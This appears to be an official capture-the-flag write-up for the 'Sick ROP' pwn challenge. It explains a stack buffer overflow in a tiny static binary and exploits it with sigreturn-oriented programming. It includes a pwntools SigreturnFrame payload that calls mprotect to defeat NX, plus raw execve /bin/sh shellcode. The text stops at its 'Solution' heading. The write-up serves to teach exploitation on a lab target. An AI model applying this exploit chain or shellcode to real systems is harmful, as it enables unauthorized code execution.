Sick ROP

7th October 2022 / Document No. D22.102.269

Prepared By: w3th4nds

Challenge Author(s): ly4k

Difficulty: Easy

Classification: Official

Synopsis

Sick ROP is an easy challenge that features a buffer overflow vulnerability, requiring the attacker to use a sigreturn syscall in their rop chain to spawn a shell.

Skills Required

- Buffer Overflow exploitation
- ROP chains

Skills Learned

- SROP technique

Enumeration

Protections

We begin by running `file` and `checksec` on the given binary:

```
file sick_rop

sick_rop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
```

```
checksec sick_rop

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

As you can see, we are working with a `statically linked` binary, which is something that makes us think of ROP chains immediately. Furthermore, no `RELRO`, no `Canary`, no `PIE`.

Running the binary, nothing is being printed, just our input echoed back to us:

```
hello?
hello?
123
123
```

Seems like an infinite loop. Let's take a closer look.

Disassembly

We will be using `IDA` this time around since `Ghidra` was generating pseudocode that wasn't making much sense.

`_start`:

```
; Attributes: noreturn

public _start
_start proc near
call    vuln
jmp     short _start
_start endp

_text ends

end _start
```

Not even a `main()` present. `vuln()` sounds... well, vulnerable, so let's see what it does:

`vuln`:

```
; Attributes: bp-based frame

vuln proc near
push    rbp
```

```
mov     rbp, rsp
sub     rsp, 20h
mov     r10, rsp
push    300h            ; count
push    r10             ; buf
call    read
push    rax             ; count
push    r10             ; buf
call    write
leave
retn
vuln endp
```

`read`:

```
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use64
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:LOAD, fs:nothing, gs:nothing



; __int64 __fastcall read(int, int, int, int, int, int, char *buf, size_t
count)
read proc near

buf= qword ptr  8
count= qword ptr  10h

mov     eax, 0
mov     edi, 0          ; fd
mov     rsi, [rsp+buf]  ; buf
mov     rdx, [rsp+count] ; count
syscall                 ; LINUX - sys_read
retn
read endp
```

`write`:

```
; __int64 __fastcall write(int, int, int, int, int, int, const char *buf,
size_t count)
write proc near

buf= qword ptr  8
count= qword ptr  10h

mov     eax, 1
mov     edi, 1          ; fd
mov     rsi, [rsp+buf]  ; buf
mov     rdx, [rsp+count] ; count
syscall                 ; LINUX - sys_write
retn
write endp
```

From these two lines alone we can deduce there is a buffer overflow vulnerability:

```
mov     rbp, rsp
sub     rsp, 20h <----(1)
mov     r10, rsp
push    300h     <----(2) ; count
```

The buffer must be 0x20 bytes long (1), and 300 bytes are being read into it (2).

Exploitation

We can calculate the number of bytes until it starts segfaulting is **40**.

Since it is a `statically-linked` binary, this means libc isn't being dynamically linked during runtime, so no `ret2libc` attacks for us. We can only use what is available to us within the binary itself. Take a look at the gadgets we can use:

```
ropper -f sick_rop

0x0000000000401009: add byte ptr [rax - 0x75], cl; je 0x1032; or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall;
0x0000000000401020: add byte ptr [rax - 0x75], cl; je 0x1049; or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall;
0x0000000000401008: add byte ptr [rax], al; mov rsi, qword ptr [rsp + 8]; mov rdx, qword ptr [rsp + 0x10]; syscall;
0x0000000000401012: and al, 0x10; syscall;
0x0000000000401012: and al, 0x10; syscall; ret;
0x000000000040100d: and al, 8; mov rdx, qword ptr [rsp + 0x10]; syscall;
0x000000000040100d: and al, 8; mov rdx, qword ptr [rsp + 0x10]; syscall; ret;
0x0000000000401040: call 0x1000; push rax; push r10; call 0x1017; leave; ret;
0x0000000000401048: call 0x1017; leave; ret;
0x0000000000401044: call qword ptr [rax + 0x41];
0x0000000000401044: call qword ptr [rax + 0x41]; push rdx; call 0x1017; leave; ret;
0x000000000040104c: dec ecx; ret;
0x000000000040100c: je 0x1032; or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall;
0x000000000040100c: je 0x1032; or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall; ret;
0x0000000000401023: je 0x1049; or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall;
0x0000000000401023: je 0x1049; or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall; ret;
0x0000000000401041: mov ebx, 0x50ffffff; push r10; call 0x1017; leave; ret;
0x0000000000401010: mov edx, dword ptr [rsp + 0x10]; syscall;
0x0000000000401010: mov edx, dword ptr [rsp + 0x10]; syscall; ret;
0x000000000040100b: mov esi, dword ptr [rsp + 8]; mov rdx, qword ptr [rsp + 0x10]; syscall;
0x000000000040100b: mov esi, dword ptr [rsp + 8]; mov rdx, qword ptr [rsp + 0x10]; syscall; ret;
0x000000000040100f: mov rdx, qword ptr [rsp + 0x10]; syscall;
0x000000000040100f: mov rdx, qword ptr [rsp + 0x10]; syscall; ret;
0x000000000040100a: mov rsi, qword ptr [rsp + 8]; mov rdx, qword ptr [rsp + 0x10]; syscall;
0x000000000040100a: mov rsi, qword ptr [rsp + 8]; mov rdx, qword ptr [rsp + 0x10]; syscall; ret;
0x000000000040100e: or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall;
0x000000000040100e: or byte ptr [rax - 0x75], cl; push rsp; and al, 0x10; syscall; ret;
0x0000000000401046: push r10; call 0x1017; leave; ret;
0x0000000000401045: push rax; push r10; call 0x1017; leave; ret;
0x0000000000401047: push rdx; call 0x1017; leave; ret;
0x0000000000401011: push rsp; and al, 0x10; syscall;
0x0000000000401011: push rsp; and al, 0x10; syscall; ret;
0x0000000000401049: retf 0xffff; dec ecx; ret;
0x000000000040104d: leave; ret;
0x0000000000401016: ret;
0x0000000000401014: syscall;
0x0000000000401014: syscall; ret;

37 gadgets found
```

37 gadgets... That is a *tiny* binary. **No gadgets for popping values into registers too. We have to get creative here.**

We are going to make use of the `syscall` gadget, and a binary exploitation technique called `Sigreturn ROP`, or `SROP` for short (the challenge's name was a hint!).

Take a look at the man pages:

```
If the Linux kernel determines that an unblocked signal is
pending for a process, then, at the next transition back to user
mode in that process (e.g., upon return from a system call or
when the process is rescheduled onto the CPU), it creates a new
frame on the user-space stack where it saves various pieces of
process context (processor status word, registers, signal mask,
and signal stack settings).

The kernel also arranges that, during the transition back to user
mode, the signal handler is called, and that, upon return from
the handler, control passes to a piece of user-space code
commonly called the "signal trampoline".  The signal trampoline
code in turn calls sigreturn().

This sigreturn() call undoes everything that was done—changing
the process's signal mask, switching signal stacks (see
sigaltstack(2)) in order to invoke the signal handler.  Using the
information that was earlier saved on the user-space stack
sigreturn() restores the process's signal mask, switches stacks,
and restores the process's context (processor flags and
registers, including the stack pointer and instruction pointer),
so that the process resumes execution at the point where it was
```

```
interrupted by the signal.
```

The point is, we can use this syscall to set all the registers to values we want!

As you may know, `RAX` should be set to the syscall number we wish to call (sigreturn's number is 15), and *then* execute the syscall command.

But no poping registers, remember? This is the creative part. A function's return value is placed in `RAX`, and `read()` returns the number of bytes read. If we tried to execute a syscall straight up, `RAX` would be set to the length of our payload, since that's the number of bytes that got read. Our payload will be larger than 40 bytes long, so that's no good.

The first thing we will be doing inside our ROP chain is calling `read()` again, by returning back to the vuln function, in order to set `RAX` to our desired value.

From there, we will be returning to the `syscall` gadget, making the `sigreturn` syscall. And then we are setting registers. You could do this manually, but `pwntools` offers a clean solution to this with `SigreturnFrame()`. Works like so:

```
frame = SigreturnFrame()
frame.rax = #rax
frame.rdi = #rdi
frame.rsi = #rsi
frame.rdx = #rdx
frame.rsp = #rsp
frame.rip = #rip

rop = b'a'*40
rop += p64(vuln)
rop += p64(syscall)
rop += bytes(frame)

r.sendline(rop) # send payload
r.recv()
r.sendline(b'a'*14) # send 15 bytes (14 chars + '\n') to set rax to 15
r.recv()
```

There are a few ways we could exploit this binary, but we will be using `mprotect` and returning to shellcode in this writeup.

Setting up registers for a `mprotect` syscall:

```
frame.rax = 0xa        # mprotect syscall number
frame.rdi = 0x400000   # writeable section of memory
frame.rsi = 0x4000     # length
frame.rdx = 0x7        # Read / Write / Execute permissions
frame.rsp = vuln_ptr   # pointer to vuln function
frame.rip = syscall_gadget
```

As you can see, we use mprotect to basically bypass the `NX` protection and be able to execute shellcode. Note how we set `RSP` to a pointer to `vuln()`. This is done to correctly return to `vuln()` after, and avoid crashing. We can use gdb's `search` to find a pointer to vuln, like so:

```
pwndbg> search -4 0x40102e  ( 0x40102e = address of vuln function )
sick_rop        0x4010d8 adc    byte ptr cs:[rax], al
```

After verifying our payload is working so far, let's crash the program, and see where our input lands (after mprotect call):

```
Program received signal SIGSEGV, Segmentation fault.
0x00000000deadbeef in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]─────────────────────────────────
 RAX  0x31
 RBX  0x0
 RCX  0x40102d (write+22) ◂— ret     /* 0xec8348e5894855c3 */
 RDX  0x31
 RDI  0x1
 RSI  0x4010b8 ◂— 0x6161616161616161 ('aaaaaaaa')
 R8   0x0
 R9   0x0
 R10  0x4010b8 ◂— 0x6161616161616161 ('aaaaaaaa')
 R11  0x206
 R12  0x0
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x6161616161616161 ('aaaaaaaa')
 RSP  0x4010e8 ◂— or     al, byte ptr [rax] /* 0x100100000000a; '\n' */
─────────────────────────────────[ DISASM ]──────────────────────────────────
Invalid address 0xdeadbeef



─────────────────────────────────[ STACK ]──────────────────────────────────
00:0000| rsp 0x4010e8 ◂— or     al, byte ptr [rax] /* 0x100100000000a;
'\n' */
01:0008|     0x4010f0 —▸ 0x40104f (_start) ◂— call   0x40102e /*
0xf9ebffffffdae8 */
02:0010|     0x4010f8 ◂— 0
03:0018|     0x401100 ◂— sbb    dword ptr [rax], eax /* 0x1001000000019
*/
04:0020|     0x401108 ◂— add    byte ptr [rax], ah /* 0x402000 */
05:0028|     0x401110 ◂— 0
06:0030|     0x401118 ◂— and    eax, 0x10000000 /* 0x1001000000025; '%'
*/
07:0038|     0x401120 ◂— add    byte ptr [rax], ah /* 0x402000 */
─────────────────────────────────[ BACKTRACE ]─────────────────────────────────
 ► f 0       0xdeadbeef
   f 1  0x100100000000a
──────────────────────────────────────────────────────────────────────────────
pwndbg>
```

We can see our input is at `0x4010b8`. This is a result of our previous payload and the mprotect call. Since we made that section executable, the only thing left to do is inject shellcode and return back to it!

```
rop2 =
b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\
x58\x99\x0f\x05'
rop2 += b'a'*(40 - len(rop2))
rop2 += p64(0x4010b8) # buffer address
```

Solution